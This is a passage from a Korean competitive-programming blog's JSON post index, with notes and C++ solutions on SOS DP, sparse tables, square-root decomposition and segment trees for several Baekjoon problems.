내가 어렸을 때 가지고 놀던 장난감"},{"content":"📝 상세 정리 $2^N$개의 정수 배열 $A$가 주어진다. 이때 $\\forall x$ 에 대해 $F(x)$를 $\\sum\\limits_{i \\subseteq x}{A[i]}$ 라고 정의하자. 이는 $x\\\u0026i = i$ 인 $i$들에 대해 $A[i]$의 합을 의미한다. 위와 같은 문제를 어떻게 풀 수있을까? 브루트포스 느리지만, 다음과 같은 브루트포스로 계산할 수 있겠다. for(int mask = 0; mask \u0026lt; (1\u0026lt;\u0026lt;N); mask++){ for(int i = 0; i \u0026lt; (1\u0026lt;\u0026lt;N); i++){ if((mask\u0026amp;i) == i){ F[mask] += A[i]; } } } 위 식을 그대로 옮긴 것에 가깝다. 시간복잡도는 ${(2^N)}^2 = 4^N$이다. 조금 더 나은 풀이 두번째 반복문에 대해, 바깥쪽 반복문에서 켜지지 않은 비트에 대해서도 반복을 도는것은 너무 아깝다. 따라서 다음과 같이도 한번 시도해볼 수 있겠다. for(int mask = 0; mask \u0026lt; (1\u0026lt;\u0026lt;N); mask++){ F[mask] = A[0]; for(int i = 0; i \u0026lt; (1\u0026lt;\u0026lt;N); i = (i-1)\u0026amp;mask) F[mask] += A[i]; } 시간복잡도 증명이 어려워보인다. 이는 $\\sum\\limits_{k = 0}^N{\\binom{N}{K}2^K} = 3^N$ 이라고 한다. Sum over Subsets DP 위의 방식에서 병목은 어디에서 나타날까? 어떤 $x$의 비트가 $K$개가 꺼져있을 때, $A[x]$는 $2^K$개의 마스크에 의해 방문된다. 이 반복적인 재계산을 줄여야한다. S(mask, i) 정의 위 병목을 피하기 위해 새로운 상태를 하나 정의해보자. $S(mask, i)$는 $mask$의 부분집합들 중, $mask$와 하위(오른쪽) $i$개 비트(0~i-1번 인덱스)에서만 다른 것을 의미한다. 예를 들어, $S(110, 2) = \\{100, 110\\}$이다. 오른쪽 두개 비트에서 다를 수 있는데, 부분집합이어야 하므로 $111$같은건 안된다. 이 정의를 이용하면, 어떤 집합도 서로 겹치지 않는 $S(mask, i)$들의 합집합으로 나타낼 수 있게 된다. 점화식 유도 점화식은 다음과 같이 두가지로 정의할 수 있겠다. $mask$의 $i$번째 비트가 $0$인 경우 $mask$의 부분집합이 $i$번째 비트에서 $0$만을 가질 수 있으므로 $S(mask, i) = S(mask, i-1)$ $mask$의 $i$번째 비트가 $1$인 경우 $mask$의 부분집합이 $i$번째 비트에서 $0, 1$ 모두 가질 수 있으므로 $S(mask, i) = S(mask, i-1) \\cup S(mask \\oplus 2^i, i-1)$ 따라서 이를 코드로 나타내면 다음과 같다. for(int mask = 0; mask \u0026lt; (1\u0026lt;\u0026lt;N); mask++) DP[mask] = A[mask]; for(int i = 0; i\u0026lt;N; i++){ for(int mask = 0; mask \u0026lt; (1\u0026lt;\u0026lt;N); mask++){ if(mask \u0026amp; (1\u0026lt;\u0026lt;i)) DP[mask] += DP[mask ^ (1\u0026lt;\u0026lt;i)]; } } 계산 결과 DP에 들어있는 값은 해당 비트마스킹의 부분집합의 합이다. 시간복잡도는 그대로 보이듯이 $O(N2^N)$이다. N차원 누적합 https://blog.queuedlab.com/posts/sos-dp 를 참고하면, 이를 $N$차원 누적합으로도 해석할 수 있다. 하이퍼 수열과 하이퍼 쿼리 문제에서 $N$차원 누적합 아이디어는 써본적이 있었는데, 이것이 SOS DP와 같다는 것이 신기하다. 앞으로는 포함배제에서 뭔가 줄이고싶으면 한번씩은 의심해보는걸로? imos-hanbyul Trick 이와 비슷한 내용을 https://qwerasdfzxcl.tistory.com/35 여기서 본적이 있다. 지금 당장은 이해하기 귀찮으므로 이해한 내용은 나중에 추가하겠다. ❔질문 사항 🔗 참고 자료 https://codeforces.com/blog/entry/45223 https://blog.queuedlab.com/posts/sos-dp https://qwerasdfzxcl.tistory.com/35 ","date":"2026-02-22T00:00:00Z","permalink":"/posts/algorithm/topics/260222_til_sos-dp/","title":"SOS Dynamic Programming"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/10868 🧐 관찰 및 접근 구간 최솟값을 $M$번 구하는 문제이다. 구간합은 누적합 배열을 이용해서 $O(1)$에 구할 수 있다. 하지만 구간 최솟값은 역원과 역연산이 없기에, 누적 최솟값 배열을 이용하기 곤란하다. 세그먼트 트리를 이용해서 구간 $O(logN)$개의 구간만을 관리하는 방법으로 풀 수 있겠다. 하지만, 업데이트가 없는 경우 희소 배열을 이용해서 $O(1)$에 구할 수 있음이 알려져있다. 💻 풀이 코드 (C++): struct RMQ{ // Range Minimum Query int N, H; vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; table; RMQ(int N, vector\u0026lt;int\u0026gt; \u0026amp;arr): N(N){ H = 1; while((1 \u0026lt;\u0026lt; H) \u0026lt;= N) H++; table.assign(N, vector\u0026lt;int\u0026gt;(H)); rep(i, 0, N) table[i][0] = arr[i]; rep(j, 1, H) rep(i, 0, N){ int right = i + (1 \u0026lt;\u0026lt; (j-1)); if(right \u0026lt; N) table[i][j] = min(table[i][j-1], table[right][j-1]); else table[i][j] = table[i][j-1]; } } int query(int l, int r){ // [L, R] r++; int k = 31 - __builtin_clz(r-l); return min(table[l][k], table[r-(1 \u0026lt;\u0026lt; k)][k]); } }; void solve(){ int N, M; N = getu\u0026lt;6, int\u0026gt;(); M = getu\u0026lt;6, int\u0026gt;(); vector\u0026lt;int\u0026gt; A(N); rep(i, 0, N) A[i] = getu\u0026lt;10, int\u0026gt;(); RMQ rmq(N, A); while(M--){ int l, r; l = getu\u0026lt;6, int\u0026gt;(); r = getu\u0026lt;6, int\u0026gt;(); putu\u0026lt;10, int\u0026gt;(rmq.query(l-1, r-1)); } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-21T00:00:00Z","permalink":"/posts/algorithm/ps/260221_algorithm_boj-10868-%EC%B5%9C%EC%86%9F%EA%B0%92/","title":"BOJ 10868 최솟값"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/13537 🧐 관찰 및 접근 부분수열에서 물어보는 쿼리가 있으니, 세그먼트 트리가 먼저 생각이 난다. 그런데 쿼리가 좀 까다롭다. 이럴때, $N, M$모두 10만이므로 제곱근 분할법을 한번 생각해보자. 수가 $C$개 들어있는 버킷을 $B$개 만든다면 $(C = N/B$), 버킷 내의 수들을 정렬하는데 $O(B \\times C\\log{C})$, 버킷들에 대해 답을 구하는데에 $O(B \\times \\log{C})$ 따라서 이들을 최소화하기 위해서는 적당히 $\\sqrt{N}$보다 약간 크게 잡으면 될 것 같다. 💻 풀이 코드 (C++): const int sq = 700; struct sqrtDecomposition{ int N; vector\u0026lt;int\u0026gt; A; vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; bucket; sqrtDecomposition(int N, vector\u0026lt;int\u0026gt; \u0026amp;A): N(N), A(A){ bucket.resize((N-1)/sq+1); rep(i, 0, N) bucket[i/sq].push_back(A[i]); for(int i = 0; i \u0026lt; (int)bucket.size(); i++) sort(all(bucket[i])); }; int query(int L, int R, int val){ int ret = 0; for(int i = L; i \u0026lt;= R;){ if(i%sq == 0 \u0026amp;\u0026amp; i+sq-1 \u0026lt;= R){ ret += bucket[i/sq].end() - upper_bound(all(bucket[i/sq]), val); i += sq; } else{ ret += A[i] \u0026gt; val; i++; } } return ret; } }; void solve(){ int N; cin \u0026gt;\u0026gt; N; vector\u0026lt;int\u0026gt; A(N); rep(i, 0, N) cin \u0026gt;\u0026gt; A[i]; sqrtDecomposition sd(N, A); int Q; cin \u0026gt;\u0026gt; Q; while(Q--){ int i, j, k; cin \u0026gt;\u0026gt; i \u0026gt;\u0026gt; j \u0026gt;\u0026gt; k; cout \u0026lt;\u0026lt; sd.query(i-1, j-1, k) \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-21T00:00:00Z","permalink":"/posts/algorithm/ps/260221_algorithm_boj-13537-%EC%88%98%EC%97%B4%EA%B3%BC-%EC%BF%BC%EB%A6%AC-1/","title":"BOJ 13537 수열과 쿼리 1"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/14504 🧐 관찰 및 접근 수열과 쿼리 1과 비슷한데, 업데이트 쿼리가 추가되었다. 같은 방법으로 풀되, 배열 정렬 말고 multiset으로 관리하면 되지 않을까? 헉, multiset에서 거리를 계산할때 쓰는 distance함수가 $O(N)$이라고 한다!! 어차피 버킷의 크기가 작으니, 나이브하게 정렬해버려도 문제가 없겠다. 💻 풀이 코드 (C++): const int sq = 700; struct sqrtDecomposition{ int N; vector\u0026lt;int\u0026gt; A; vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; bucket; sqrtDecomposition(int N, vector\u0026lt;int\u0026gt; \u0026amp;A): N(N), A(A){ bucket.resize((N-1)/sq+1); rep(i, 0, N) bucket[i/sq].push_back(A[i]); for(int i = 0; i \u0026lt; (int)bucket.size(); i++) sort(all(bucket[i])); }; void update(int i, int val){ int b = i/sq; auto it = lower_bound(all(bucket[b]), A[i]); *it = val; A[i] = val; sort(all(bucket[b])); } int query(int L, int R, int val){ int ret = 0; for(int i = L; i \u0026lt;= R;){ if(i%sq == 0 \u0026amp;\u0026amp; i+sq-1 \u0026lt;= R){ ret += bucket[i/sq].end() - upper_bound(all(bucket[i/sq]), val); i += sq; } else{ ret += A[i] \u0026gt; val; i++; } } return ret; } }; void solve(){ int N; cin \u0026gt;\u0026gt; N; vector\u0026lt;int\u0026gt; A(N); rep(i, 0, N) cin \u0026gt;\u0026gt; A[i]; sqrtDecomposition sd(N, A); int Q; cin \u0026gt;\u0026gt; Q; while(Q--){ int op; cin \u0026gt;\u0026gt; op; if(op == 1){ int i, j, k; cin \u0026gt;\u0026gt; i \u0026gt;\u0026gt; j \u0026gt;\u0026gt; k; cout \u0026lt;\u0026lt; sd.query(i-1, j-1, k) \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } else{ int i, k; cin \u0026gt;\u0026gt; i \u0026gt;\u0026gt; k; sd.update(i-1, k); } } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-21T00:00:00Z","permalink":"/posts/algorithm/ps/260221_algorithm_boj-14504-%EC%88%98%EC%97%B4%EA%B3%BC-%EC%BF%BC%EB%A6%AC-18/","title":"BOJ 14504 수열과 쿼리 18"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/2042 🧐 관찰 및 접근 자명한 세그먼트 트리 연습 문제이다. 기본적으로 업데이트가 없이 구간의 합을 구해야 한다면, 이는 누적합으로 빠르게 해결할 수 있다. 이때 합을 구하는 쿼리는 $O(1)$, 업데이트는 $O(N)$이다. 업데이트를 빠르게 하기 위해선, 합을 나이브하게 구하는 방법이 있겠다. 이때 합을 구하는 쿼리는 $O(N)$, 업데이트는 $O(1)$이다. 버킷을 잘 나누어서, 두 방법의 이득만을 취하면 제곱근 분할법을 이용해서 $O(Q\\sqrt{N})$까지 줄일 수 있고, 해당 문제에서는 $N \\leq 10^6$이므로 약 2천만정도에 바운드된다. 지금과 같이 두 노드를 합치는 것이 직관적이고 용이할 경우에는 세그먼트 트리를 쓸 수 있으며, 두 노드를 이용해 역원과 역연산을 정의할 수 있는 경우 펜윅트리도 이용할 수 있다. 💻 풀이 코드 (C++): void solve(){ ll N, M, K; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M \u0026gt;\u0026gt; K; SegmentTreeSum ST(N); rep(i, 0, N){ ll x; cin \u0026gt;\u0026gt; x; ST.set(i, x); } ST.build(); rep(i, 0, M+K){ ll a, b, c; cin \u0026gt;\u0026gt; a \u0026gt;\u0026gt; b \u0026gt;\u0026gt; c; if(a == 1) ST.update(b-1, c - ST.query(b-1, b-1)); else cout \u0026lt;\u0026lt; ST.query(b-1, c-1) \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\nconst int sq = 1100; struct sqrtDecomposition{ int N; vector\u0026lt;ll\u0026gt; A, bucket; sqrtDecomposition(int N, vector\u0026lt;ll\u0026gt; \u0026amp;A): N(N), A(A){ bucket.resize((N-1)/sq+1); rep(i, 0, N) bucket[i/sq] += A[i]; } void set(int i, ll x){ bucket[i/sq] += x - A[i]; A[i] = x; } ll query(int L, int R){ ll ret = 0; for(int i = L; i \u0026lt;= R;){ if(i%sq == 0 \u0026amp;\u0026amp; i+sq-1 \u0026lt;= R){ ret += bucket[i/sq]; i += sq; } else{ ret += A[i]; i++; } } return ret; } }; void solve(){ ll N, M, K; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M \u0026gt;\u0026gt; K; vector\u0026lt;ll\u0026gt; a(N); rep(i, 0, N) cin \u0026gt;\u0026gt; a[i]; sqrtDecomposition SD(N, a); rep(i, 0, M+K){ ll a, b, c; cin \u0026gt;\u0026gt; a \u0026gt;\u0026gt; b \u0026gt;\u0026gt; c; if(a == 1) SD.set(b-1, c); else cout \u0026lt;\u0026lt; SD.query(b-1, c-1) \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-21T00:00:00Z","permalink":"/posts/algorithm/ps/260221_algorithm_boj-2042-%EA%B5%AC%EA%B0%84-%ED%95%A9-%EA%B5%AC%ED%95%98%EA%B8%B0/","title":"BOJ 2042 구간 합 구하기"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/25563 🧐 관찰 및 접근 일단 세개를 따로 구하면 되는 것 같다. XOR이 제일 쉬워보인다. XOR은 역연산이 존재하므로, $A_i \\oplus A_j = K$를 만족하는 $A_j$는 $A_i \\oplus K$로 구할 수 있다. $A_i \\leq 1\\,000\\,000$이므로 그냥 구하면 될듯. 양쪽에서 구했으니 2로 나누는것만 조심하면 되겠다. $K = 0$일때를 주의하자. AND를 다음으로 봐보자. $A_i, A_j$ 모두 $K$와 and연산한 결과는 $K$여야 한다. 그리고 $A_i - K, A_j - K$는 and 연산한 결과가 $0$이어야 한다. 숫자 $N$개에서 두 수의 and 결과가 $0$인 조합 개수를 빠르게 구할수가 있나? 이 같은 아이디어로 OR도 해결할 수 있는 것 같으니, 이걸 고민해보자. 약간 포함배제같은맛으로 될라나? 일단 쉽게 $A_i$에서 $k$번째 비트 하나가 켜져있다고 해보자. 그러면 나머지들에서 $k$번째 비트가 꺼져있기만 하면 된다. 이건 뭐 $k$번째 비트가 켜져있는 / 꺼져있는 집합으로 하면 될틴데,\u0026hellip; $A_i$에서 $k_1, k_2$번째 비트 두개가 켜져있다고 해보자. 이번에는 나머지들에서 $k_1, k_2$ 번째 비트 모두가 꺼져있어야 한다. 그거 개수는 $k_1$이 켜진거 + $k_2$가 켜진거 - $k_1, k_2$가 켜진것으로 구할 수 있고, 이거까진 또 쉽게 되는거같기도? 왜냐면 둘다 켜진건 처음에 보고있으니까. $A_i$에서 $k_1, k_2, k_3$ 세개가.. 나머지들에서 세개가 다 꺼져있어야.. 근데 이건 각자 더하고 둘둘 빼고 세개 더하고.. 는 까다롭네. 앞에서 하면서 저장해왔으면 되는거같긴 한데.. 그런데, 이렇게 하다보면 결국 비트가 20개정도니까\u0026hellip; 어? 되는거같기도 한데? 어떻게 풀 수 있나 고민해봤는데, 결국 각 비트 자체 대해서 저장한다음에, 다른 배열에서 이를 이용해서 만들어보자. $\\text{cntExact}$를 해당 비트가 그대로 켜져있는것 (그 숫자 자체) $\\text{cntOr}$을 켜져있는 비트중 하나라도 켜져있는것이라고 생각하면, 이걸 앞에서 얻은것들로 계산할 수 있을 것 같다. 이를 SOS DP로 알려져있다. 두 수의 and 결과가 0인 것의 개수는, $A_i$를 정했다면 ${A_i}$ 를 뒤집은 비트에서 부분집합의 합과 같다. OR은 어떻게 풀릴까? $A_i, A_j$ 모두 $K$랑 or 연산한 결과가 $K$여야 한다. 예를들어 목표가 $1101$이고, $A_i$가 $1000$이라면 $A_j$는 $?101$이어야 한다. $A_i$에서 꺼진 비트는 모두 켜져있어야 한다. 부분집합의 합을 구할때, $A$를 뒤집어서 저장하는 것으로 가능할 것 같다. $?$ 인 부분들에 대해 부분집합의 합을 계산하면 된다. 💻 풀이 코드 (C++): void solve(){ int N, K; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; K; vector\u0026lt;int\u0026gt; A(N); rep(i, 0, N) cin \u0026gt;\u0026gt; A[i]; int all1 = (1 \u0026lt;\u0026lt; 20) - 1; // count and { ll ans = 0; vector\u0026lt;int\u0026gt; cnt(1\u0026lt;\u0026lt;20, 0), SOS(1\u0026lt;\u0026lt;20, 0); rep(i, 0, N) if((A[i] \u0026amp; K) == K){ cnt[A[i] - K]++; SOS[A[i] - K]++; } rep(i, 0, 20) rep(mask, 0, 1\u0026lt;\u0026lt;20) if(mask \u0026amp; (1\u0026lt;\u0026lt;i)) SOS[mask] += SOS[mask^(1\u0026lt;\u0026lt;i)]; rep(i, 0, N) if((A[i] \u0026amp; K) == K){ int mask = all1 - (A[i] - K); ans += SOS[mask]; } ans -= cnt[0]; cout \u0026lt;\u0026lt; ans/2 \u0026lt;\u0026lt; \u0026#39; \u0026#39;; } // count or { ll ans = 0; vector\u0026lt;int\u0026gt; cnt(1\u0026lt;\u0026lt;20, 0), SOS(1\u0026lt;\u0026lt;20, 0); rep(i, 0, N) if((A[i] | K) == K){ cnt[A[i]]++; SOS[K - A[i]]++; } rep(i, 0, 20) rep(mask, 0, 1\u0026lt;\u0026lt;20) if(mask \u0026amp; (1\u0026lt;\u0026lt;i)) SOS[mask] += SOS[mask^(1\u0026lt;\u0026lt;i)]; rep(i, 0, N) if((A[i] | K) == K){ ans += SOS[A[i]]; } ans -= cnt[K]; cout \u0026lt;\u0026lt; ans/2 \u0026lt;\u0026lt; \u0026#39; \u0026#39;; } // count xor { ll ans = 0; vector\u0026lt;int\u0026gt; cnt(1\u0026lt;\u0026lt;20, 0); rep(i, 0, N) cnt[A[i]]++; rep(i, 0, N) ans += cnt[A[i] ^ K]; if(K == 0) ans -= N; cout \u0026lt;\u0026lt; ans/2; } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-21T00:00:00Z","permalink":"/posts/algorithm/ps/260221_algorithm_boj-25563-and-or-xor/","title":"BOJ 25563 AND, OR, XOR"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/34088 🧐 관찰 및 접근 $K$로 나눈 나머지가 같다 = 고른 부분집합의 원소들의 차이가 모두 $K$의 배수이다. 그러면? 분위기상 소수만? 신경써도 되는거같다. 근데 숫자들의 차이가 $10^9$까지인데\u0026hellip; 그러면 너무 많은데 흠 근데 일단 직관적으로, $K = 2$일때 비둘기집의 원리에 의해 답은 ${N/2}$ 이상이긴 하다. 그리고 직관적으로, 웬만한 경우에 $K$가 작을때 답이 있을 것 같다. $K$가 클때를 억지로 만들 수 있나? $K \u003e 1000$ 쯤듸는 어떤 소수라고 하면, 억지로 만들 수 있는 것 같긴 하다. 그런데, 이때 $K$가 $N/2$개 이상의 부분집합에 대해 나머지가 같아야하므로, 다르게 말하면 어떤 두 수를 뽑앗을때 50% 이상의 확률로 $K$는 해당 수의 약수이다. 랜덤으로 풀 수 있지 않을까? 💻 풀이 코드 (C++): void solve(){ auto start = chrono::high_resolution_clock::now(); bitset\u0026lt;32000\u0026gt; isPrime; isPrime.set(); isPrime[0] = isPrime[1] = 0; rep(i, 2, 32000) if(isPrime[i]){ for(ll j = (ll)i*i; j \u0026lt; 32000; j += i) isPrime[j] = 0; } vector\u0026lt;int\u0026gt; primes; rep(i, 2, 32000) if(isPrime[i]) primes.push_back(i); int N; cin \u0026gt;\u0026gt; N; vector\u0026lt;ll\u0026gt; A(N); rep(i, 0, N) cin \u0026gt;\u0026gt; A[i]; int ans = (N+1)/2; while(1){ auto end = chrono::high_resolution_clock::now(); auto duration = chrono::duration_cast\u0026lt;chrono::milliseconds\u0026gt;(end - start); if(duration.count() \u0026gt; 900) break; int a = rand() % N, b = rand() % N; int diff = abs(A[a] - A[b]); vector\u0026lt;int\u0026gt; divs; for(int p: primes){ if(p*p \u0026gt; diff) break; if(diff % p == 0){ divs.push_back(p); while(diff % p == 0) diff /= p; } } if(diff \u0026gt; 1) divs.push_back(diff); for(int d: divs){ map\u0026lt;int, int\u0026gt; mp; for(auto x: A) mp[x%d]++; for(auto [_, c]: mp) ans = max(ans, c); } } cout \u0026lt;\u0026lt; ans; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-21T00:00:00Z","permalink":"/posts/algorithm/ps/260221_algorithm_boj-34088-its-a-mod-mod-mod-mod-world-2/","title":"BOJ 34088 It's a Mod, Mod, Mod, Mod World 2"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/9345 🧐 관찰 및 접근 수열에서의 swap연산이 주어지고, 수열의 $L, R$ 범위가 주어졌을 때 해당 범위에 $L \\leq x \\leq R$의 모든 수가 있는지 묻는 문제이다. 합같은것으로는 저걸 구분할 수가 없다. $(3, 4)$나 $(2, 5)$나 같으니까. 아하, DVD들끼리 겹치지 않으므로 구간 최소/최댓값을 이용하면 되겠다. 💻 풀이 코드 (C++): void solve(){ int N, K; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; K; vector\u0026lt;pii\u0026gt; a(N); rep(i, 0, N) a[i] = {i, i}; SegmentTree ST(N, a); while(K--){ int op, a, b; cin \u0026gt;\u0026gt; op \u0026gt;\u0026gt; a \u0026gt;\u0026gt; b; if(op == 0){ int aval = ST.query(a, a).first; int bval = ST.query(b, b).first; ST.set(a, bval); ST.set(b, aval); } else{ pii res = ST.query(a, b); if(res.first == a \u0026amp;\u0026amp; res.second == b) cout \u0026lt;\u0026lt; \u0026#34;YES\\n\u0026#34;; else cout \u0026lt;\u0026lt; \u0026#34;NO\\n\u0026#34;; } } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-21T00:00:00Z","permalink":"/posts/algorithm/ps/260221_algorithm_boj-9345-%EB%94%94%EC%A7%80%ED%84%B8-%EB%B9%84%EB%94%94%EC%98%A4-%EB%94%94%EC%8A%A4%ED%81%ACdvds/","title":"BOJ 9345 디지털 비디오 디스크(DVDs)"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/15896 🧐 관찰 및 접근 bitwise and들의 합과, 합들의 bitwise and 값을 구해야한다. 일단 앞에껏부터 해보자. $N$은 100만??이다. 개크네 모든 $(A_i \\\u0026 B_j)$의 합을 1999로 나눈 나머지 나이브하게 제곱은 될 리가 없다. bitwise and의 특성을 생각해보자. $A_i$에서도, $B_j$에서도 켜져있어야 한다. 각 비트에 대해서 생각하면, $A$에서 해당 비트가 켜진 개수 * $B$에서 해당 비트가 켜진 개수와 같이 구할 수 있을 것 같다. 전처리에 $O(N\\times29)$, 계산하는데에 $O(29)$가 걸릴 것 같다. 모든 $(A_i + B_j)$의 bitwise and 연산 값 자 이제 이게 문젠거같은데\u0026hellip; 합이 이슈다. 받아올림이 있다보니 조금 신경쓰인다. 다시한번 bitwise and의 특성을 생각해보자. 모두 켜져있어야 한다는건, 모든 순서쌍 $(i, j)$에 대해 $A_i + B_j = C_k$라고 할때, 어떤 $C_k$의 비트가 꺼져있으면, 정답에서 해당 비트는 꺼진다. 일단 첫번째 비트에 대해서는 쉽게 구할 수 있는 것 같다. 더했을때 모두 $1$이 남기 위해선 $1 + 0, 0 + 1$ 두가지만 가능하기에, 개수가 $(N, 0), (0, N)$이 아니라면 비트가 꺼질 수밖에 없다. 하지만 해당 윗 비트부터는 받아올림이 생긴다\u0026hellip; $11_2 + 01_2 = 100_2$ 와 같이 $(1, 0)$이었음에도 비트가 꺼질 수 있다. 혹은 $11_2 + 11_2 = 110_2$와 같이 $(1, 1)$이었으메도 비트가 켜질 수 있다. 하 이게 무슨 의미지? 예를들어 $4$의자리 비트가 켜져있나? 라는 질문은 $8$로 나눈 나머지들의 합에 대해, 나머지가 모두 $4$ 이상인가? 하는 질문과 같긴 하다. $0$$3$, $8$$11$은 안된다는거지. 그 사이에 값이 있는지 없는지를 체크할 수가 있나? 일반화시키면, $2^k$의 비트가 켜져있는건 $\\mod 2^{k+1}$ 에 대해 나눈 애들의 합에 대해 $0 \\leq s \u003c 2^k$ 또는 $2^{k+1} \\leq s \u003c 2^{k+1} + 2^k$ 인게 있으면 안된다. 이걸 각 비트에 대해 한다고 하면 그래도 정렬해서 이분탐색으로 구할 순 있을거같긴 한데\u0026hellip;\u0026hellip; $N$ 제한이 100만이라 $O(29 \\times N\\log{N})$을 하면 죽여버리겠다는 말과 같은 것 같다. 어? 근데 내가 필요한건, 비트단위로 하나씩 확장해나가면서 정렬하는거다. 이게 바로 Radix Sort 아닌가? 게다가 배열 두개로 쪼개져있을때, 다른 배열에서 하나하나 합이 저 안에 들어있는지 확인하는건 그리디하게 0/1로 쪼개진 두 배열의 맨앞/맨뒤를 보는것만으로 해결할 수 있는 것 같다. 덱을 이용해서 관리해보자. 💻 풀이 코드 (C++): void solve(){ ll N; cin \u0026gt;\u0026gt; N; vector\u0026lt;ll\u0026gt; A(N), B(N); rep(i, 0, N) cin \u0026gt;\u0026gt; A[i]; rep(i, 0, N) cin \u0026gt;\u0026gt; B[i]; vector\u0026lt;ll\u0026gt; bitCountA(30), bitCountB(30); rep(i, 0, N) rep(j, 0, 30){ if((A[i] \u0026gt;\u0026gt; j) \u0026amp; 1) bitCountA[j]++; if((B[i] \u0026gt;\u0026gt; j) \u0026amp; 1) bitCountB[j]++; } ll ans1 = 0; rep(i, 0, 30){ ans1 += (1LL \u0026lt;\u0026lt; i) % 1999 * (bitCountA[i] * bitCountB[i]) % 1999; ans1 %= 1999; } cout \u0026lt;\u0026lt; ans1 \u0026lt;\u0026lt; \u0026#34; \u0026#34;; ll ans2 = 0; vector\u0026lt;ll\u0026gt; dq[2], ndq[2]; dq[0].reserve(N); dq[1].reserve(N); ndq[0].reserve(N); ndq[1].reserve(N); rep(i, 0, N) dq[0].push_back(A[i]); rep(bit, 0, 30){ ndq[0].clear(); ndq[1].clear(); for(ll x: dq[0]) (x \u0026gt;\u0026gt; bit) \u0026amp; 1 ? ndq[1].push_back(x) : ndq[0].push_back(x); for(ll x: dq[1]) (x \u0026gt;\u0026gt; bit) \u0026amp; 1 ? ndq[1].push_back(x) : ndq[0].push_back(x); swap(dq[0], ndq[0]); swap(dq[1], ndq[1]); vector\u0026lt;ll\u0026gt; cand; if(!dq[0].empty()){ cand.push_back(dq[0].front()); cand.push_back(dq[0].back()); } if(!dq[1].empty()){ cand.push_back(dq[1].front()); cand.push_back(dq[1].back()); } bool flag = true; for(auto x: B) for(auto c: cand) if((((x+c) \u0026gt;\u0026gt; bit) \u0026amp; 1) == 0){ flag = false; break; } if(flag) ans2 += (1LL \u0026lt;\u0026lt; bit); } cout \u0026lt;\u0026lt; ans2 \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-20T00:00:00Z","permalink":"/posts/algorithm/ps/260220_algorithm_boj-15896-+-+/","title":"BOJ 15896 \u0026+ +\u0026"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/25229 번역 번역 문제 방향이 없는 간선으로 이루어진 트리가 있으며, 각 노드는 정수 값을 가지고 있습니다. 인접한 두 노드의 값의 최대공약수(GCD)가 $1$보다 엄밀히 클 때, 이 두 노드를 **GCD-조화롭다(GCD-harmonic)**고 합니다.\n트리의 임의의 노드 값을 원하는 양의 정수로 변경할 수 있습니다. 이 연산의 비용은 원래 값에 관계없이 새로 설정하는 값과 같습니다. 필요한 만큼 여러 노드의 값을 변경할 수 있으며, 노드 값이 서로 다를 필요는 없습니다.\n트리의 모든 인접 노드 쌍이 GCD-조화롭도록 만드는 최소 총 비용은 얼마입니까?\n입력 첫 번째 줄에 정수 $n$ ($2 \\leq n \\leq 5,000$)이 주어지며, 이는 트리의 노드 수입니다. 트리의 노드는 $1$부터 $n$까지 번호가 매겨져 있습니다.\n다음 $n$개의 줄 각각에 정수 $v$ ($1 \\le v \\le 100$)가 주어집니다. 이는 노드 번호 